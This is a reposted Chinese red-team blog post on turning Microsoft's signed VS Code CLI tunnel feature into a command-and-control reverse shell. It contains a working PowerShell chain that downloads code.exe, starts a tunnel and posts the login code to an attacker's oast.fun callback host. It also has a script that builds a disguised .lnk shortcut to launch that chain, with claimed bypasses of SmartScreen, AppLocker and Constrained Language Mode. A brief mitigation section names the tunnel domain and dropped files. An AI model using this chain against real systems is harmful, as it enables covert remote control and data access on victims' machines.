你不知道的技巧之一《利用自带Microsoft 签名反向 Shell》

admin 2023年9月1日00:02:03评论6 views字数 4608阅读15分21秒阅读模式

MS 提供了一个签名的二进制文件 (code.exe),它将通过 Microsoft 官方域 https://vscode.dev 建立命令与控制通道。C2 通信本身将通过 WebSockets 访问 https://global.rel.tunnels.api.visualstudio.com。攻击者只需要一个 Github 账户。

前言

最近我浏览了一些 MS 文档,偶然发现了这两页。

https://code.visualstudio.com/docs/remote/tunnels

https://code.visualstudio.com/blogs/2022/12/07/remote-even-better

         你不知道的技巧之一《利用自带Microsoft 签名反向 Shell》 

 

那么我们这里有什么?VSCode 能够建立与远程系统的连接。

好吧,因为远程调试器并不新鲜,也不那么先有,但事情会变得更好。

在页面的最后,有些东西让事情变得更加有趣。Using the 'code' CLI

好的,有一个可移植的二进制文件可以解决这个问题,很好。

This CLI will output a vscode.dev URL tied to this remote machine, such as https://vscode.dev/tunnel//. You can open this URL on a client of your choosing.

好吧,有了MS域名,托管了C2频道,事情正在变得更好。VSCode 二进制文件也是代理感知且可移植的。

行动

如果我们在客户端上执行代码,并且在这里我们假设我们拥有它,那么我们可以引入 VSCode 的便携式版本,即代码 CLI。如果 VSCode 已安装,我们可以坚持安装的版本,没关系。让我们深入了解步骤。

准备客户

从这里获取客户端上的二进制文件:

https://code.visualstudio.com/sha/download? build=stable&os=cli-win32-x64

由于二进制文件是由 Microsoft 签名的,因此我们不需要处理 Mark-of-the-Web,因为它会被忽略,而且我们也会绕过 Smartscreen。如果结合后面看到的一些技巧,如果在默认配置下,我们还将绕过 Applocker 和 Powershell 约束语言模式。

二进制文件的证书如下:

你不知道的技巧之一《利用自带Microsoft 签名反向 Shell》

Code.exe 由 MS 签名

在客户端上启动二进制文件。

PS C:temp> .code.exe tunnel** Visual Studio Code Server** By using the software, you agree to* the Visual Studio Code Server License Terms (https://aka.ms/vscode-server-license) and* the Microsoft Privacy Statement (https://privacy.microsoft.com/en-US/privacystatement).*✔ Do you accept the terms in the License Agreement (Y/n)? · yesTo grant access to the server, please log into https://github.com/login/device and use code 71BC-3082...

 

我们按照说明操作,并在攻击者系统上打开提供的 URL。我们将看到设备代码身份验证,就像 Azure 中已知的那样。

你不知道的技巧之一《利用自带Microsoft 签名反向 Shell》

之后,将建立代码隧道。

PS C:temp> .code.exe tunnel** Visual Studio Code Server** By using the software, you agree to* the Visual Studio Code Server License Terms (https://aka.ms/vscode-server-license) and* the Microsoft Privacy Statement (https://privacy.microsoft.com/en-US/privacystatement).*Open this link in your browser https://vscode.dev/tunnel/itsmeC2/C:/temp

 

通过浏览器或 VSCode 连接

因此,我们按照指示进行操作,并在攻击者计算机上的浏览器中打开该页面。

我们在受害者机器上得到了一个很好的工作项目。通过 URL,我们可以控制路径,这意味着如果我们只使用 C:,我们就可以在用户权限的限制内访问系统上的所有文件。因此,打开https://vscode.dev/tunnel/itsmeC2/C:并将 C: 添加到工作区。

你不知道的技巧之一《利用自带Microsoft 签名反向 Shell》 

太好了,我们可以远程浏览、阅读和编辑所有文件。

文件浏览很好,但是命令执行呢?我们只需说:菜单 -> 终端 -> 新建终端

你不知道的技巧之一《利用自带Microsoft 签名反向 Shell》 

 

我们在客户端上获得了一个很好的 Powershell 远程会话。

Remoteshell 拥有我们想要的一切

访问历史记录

语法高亮

制表符补全

作业控制 - 意味着交互式

这是一个反应灵敏、可用的远程 Powershell 会话。

除了 Powershell 会话之外,还有一些其他可能性,例如运行任务、“运行和调试”文件或者我们可以进行本地端口转发。

一个很好的功能是在远程主机上安装扩展。

例如,如果主机上安装了Python,我们现在可以运行一些Python脚本。这里需要注意的是,我们需要将文件保存到磁盘,但可能有一些方法可以解决它。

你不知道的技巧之一《利用自带Microsoft 签名反向 Shell》 

通过 VSCode Desktop 连接非常简单,您只需要官方 MS 博客文章中所述的扩展即可。

构建攻击链

让我们尝试构建一个完整的攻击链。首先,我们应该检查是否可以去掉启动隧道的交互部分并在命令行上提供参数。

我们可以提供一个名称来为我们的会话获取固定的实例名称:

.code.exe tunnel --name itsmeC2V2

 

然后就是认证的问题。关于

https://github.com/microsoft/vscode/issues/170013,我们必须使用 Github OAuth 刷新令牌进行身份验证。

我没有设法让 Github OAuth 令牌身份验证正常工作,因此需要执行额外的步骤,将设备代码发布到https://app.interactsh.com/#/

一个非常基本的链,如果没有混淆,可能看起来像这样。

 

 

cd C:tmp #change folderiwr -uri https://az764295.vo.msecnd.net/stable/97dec172d3256f8ca4bfb2143f3f76b503ca0534/vscode_cli_win32_x64_cli.zip -OutFile vscode.zip #download binaryExpand-Archive vscode.zip #Expand the zipcd vscode.code.exe tunnel user logout #logout previous user, if existingStart-Sleep 3Start-Process -FilePath .code.exe  -ArgumentList "tunnel --name Ooooopsie2000" -RedirectStandardOutput  .output.txt #start tunnel and redirect the output to a txt fileStart-Sleep 3iwr -uri cf8ryhj2vtc0000w93v0g8wcxjyyyyyyb.oast.fun -Method Post -Body (Get-Content .output.txt) #Post output to interact.sh for the code

我们可以建立一个快捷方式来启动链条。

#Payload$EXEPath = "$env:windirSystem32WindowsPowerShellv1.0powershell.exe"$pay = 'cd C:tmp; iwr -uri https://az764295.vo.msecnd.net/stable/97dec172d3256f8ca4bfb2143f3f76b503ca0534/vscode_cli_win32_x64_cli.zip -OutFile vscode.zip; Expand-Archive vscode.zip; cd vscode; .code.exe tunnel user logout; Start-Sleep 3; Start-Process -FilePath .code.exe  -ArgumentList "tunnel","--name","Ooooopsie2000" -RedirectStandardOutput  .output.txt; Start-Sleep 3; iwr -uri cf9dk1w2vtc0000vhr10g8ws3ohyyyyyb.oast.fun -Method Post -Body (Get-Content .output.txt)'$arguments = " -nop -c $pay"          
#lnk file$LNKName = 123$obj = New-Object -ComObject WScript.Shell$link = $obj.CreateShortcut((Get-Location).Path + "" + $LNKName + ".lnk")$link.WindowStyle = '7'$link.TargetPath = $EXEPath$link.IconLocation = "C:Program Files (x86)MicrosoftEdgeApplicationmsedge.exe,13"$link.Arguments = $arguments$link.Save()

 

如果我们添加一些众所周知的 Applocker 绕过路径(例如 C:WindowsTemp)并指定一个工作目录,--cli-data-dir我们也可以过基本的 Applocker 配置,即使由没有管理员权限的用户在受限语言模式 (CLM) 下运行 Powershell。

你不知道的技巧之一《利用自带Microsoft 签名反向 Shell》

缓解措施

代码二进制文件正在生成一个 Nodejs 应用程序和一些 Powershell 脚本,这些脚本可以被检测到。

 你不知道的技巧之一《利用自带Microsoft 签名反向 Shell》

global.rel.tunnels.api.visualstudio.com正如微软所说, 通信是通过 WebSockets 进行的,因此可以被阻止。https://code.visualstudio.com/docs/remote/tunnels

If you're part of an organization who wants to control access to Remote Tunnels, you can do so by allowing or denying access to the domain global.rel.tunnels.api.visualstudio.com.

在隧道模式下启动 VSCode,会在磁盘上删除一些 JSON 文件。文件的位置通过参数移交--cli-data-dir,但默认为: %UserProfile%.vscode-cli

你不知道的技巧之一《利用自带Microsoft 签名反向 Shell》

参考

https://badoption.eu/blog/2023/01/31/code_c2.html

 

原文始发于微信公众号(红队笔记录):你不知道的技巧之一《利用自带Microsoft 签名反向 Shell》

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年9月1日00:02:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   你不知道的技巧之一《利用自带Microsoft 签名反向 Shell》https://cn-sec.com/archives/1999798.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息